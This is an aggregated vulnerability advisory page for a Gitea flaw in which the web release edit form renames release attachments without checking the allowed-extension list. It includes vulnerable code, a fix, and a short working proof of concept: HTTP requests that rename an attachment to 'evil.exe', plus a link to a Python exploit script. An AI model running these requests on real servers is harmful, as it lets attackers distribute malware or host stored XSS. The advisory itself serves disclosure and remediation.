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Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

cve-program · severity unknownEUVD CVSS 3.1 6.5 CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by code.gitea.io/gitea 1.27.0osv · severity unknownFixed by gitea.dev 1.27.0KEV status unknown

cve-program · CVE-2026-58428

Published

Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Read the publisher's advisory

euvd · EUVD-2026-58156

Published

Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Read the publisher's advisory

nvd · CVE-2026-58428

Published

Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Read the publisher's advisory

osv · GHSA-25gq-j9jx-43pg

Published

## Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. ## Details ### Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. ### Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. ## Proof of Concept Tested live against: * Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 * `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` * Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) **Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. **Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token <bob_token> Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). **Step 3**: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=<session>; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-<existing_attachment_uuid>=evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted with no validation error. **Step 4**: Verify. ```http GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 ``` Response includes `"name": "evil.exe"`. The download link `/attachments/<uuid>` now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run: [GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py) ``` [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. ``` ## Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): * Pre-condition: operator has set `Repository.Release.AllowedTypes` to a non-empty allowlist (a reasonable hardening posture when restricting release uploads). * Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators. * Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name. * Practical impact: * Distribute malware files (e.g., `.exe`, `.dmg`, `.msi`, `.apk`) masquerading as a tagged release attachment * If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin * Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event ## Suggested remediation Mirror the parent CVE-2025-68939 fix into the web release edit path. In `services/release/release.go UpdateRelease`, verify each new name against the configured allowlist before persisting: ```go import ( "code.gitea.io/gitea/modules/setting" "code.gitea.io/gitea/services/context/upload" ) // inside UpdateRelease, replace the editAttachments loop: for uuid, newName := range editAttachments { if deletedUUIDs.Contains(uuid) { continue } if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil { return err } if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } ``` The web handler `EditReleasePost` should map `IsErrFileTypeForbidden` to a 422 response (or equivalent flash error and form re-render) to match the API behavior. Alternative: refactor `attachment_service.UpdateAttachment` to accept a UUID (or expose a `UpdateAttachmentByUUID` variant in the service layer) and have the release service call that instead of the raw model function. ## Workaround for operators (no Gitea change required) Until a patched release lands, operators can mitigate by either: 1. Removing the `Repository.Release.AllowedTypes` allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. 2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious `attachment-edit-*` form fields on POST to `/<owner>/<repo>/releases/edit/*` -- viable but operationally fragile. 3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable. A vendor patch is the right answer; the workarounds above are stopgaps. ## Credit Jose Rivas (bl4cksku111.com) ## References * Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939) * Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit `7adc4717ec`) * CWE-424: https://cwe.mitre.org/data/definitions/424.html * CWE-434: https://cwe.mitre.org/data/definitions/434.html

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osv · GO-2026-6028

Published

Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939) in gitea.dev

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Affected versions, risk and source history

cve-program · CVE-2026-58428

Published

Gitea Open Source Git Server

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "Gitea",
                    "product": "Gitea Open Source Git Server",
                    "versions": [
                        {
                            "version": "0",
                            "lessThanOrEqual": "1.26.4",
                            "status": "affected",
                            "versionType": "semver"
                        }
                    ],
                    "defaultStatus": "unaffected"
                }

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euvd · EUVD-2026-58156

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 13, 2026, 4:44:49 PM

dateUpdated: Aug 14, 2026, 5:29:36 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-2304: Gitea: Mehrere Schwachstellen

CVE-2026-58417 · CVE-2026-58420 · CVE-2026-58425 · CVE-2026-58427 · CVE-2026-58428 · CVE-2026-58429 · CVE-2026-58431 · CVE-2026-58432 · CVE-2026-58433 · CVE-2026-58434 · CVE-2026-58435 · CVE-2026-58436 · CVE-2026-58437 · CVE-2026-58438 · CVE-2026-58439 · CVE-2026-58440 · CVE-2026-58441 · CVE-2026-58442 · CVE-2026-58443 · CVE-2026-58444 · CVE-2026-58445 · CVE-2026-58507 · CVE-2026-58508 · CVE-2026-58510 · CVE-2026-58511 · CVE-2026-59763 · CVE-2026-59765 · CVE-2026-59766 · CVE-2026-23603 · CVE-2026-42931 · CVE-2026-50105 · CVE-2026-54481 · CVE-2026-55982 · CVE-2026-55984 · CVE-2026-55986 · CVE-2026-55987 · CVE-2026-56443 · CVE-2026-56654 · CVE-2026-56657 · CVE-2026-56750 · CVE-2026-56755 · CVE-2026-57886 · CVE-2026-57894 · CVE-2026-57897 · CVE-2026-58314 · CVE-2026-58416

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

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nvd · CVE-2026-58428

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-424 · CWE-434

Original publisher date fields

published: 2026-08-13T17:17:26.833

lastModified: 2026-08-26T16:53:48.300

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-25gq-j9jx-43pg

Published

code.gitea.io/gitea

Go

SEMVER · introduced 0 → fixed 1.27.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-6028

Published

gitea.dev

Go

SEMVER · introduced 0 → fixed 1.27.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

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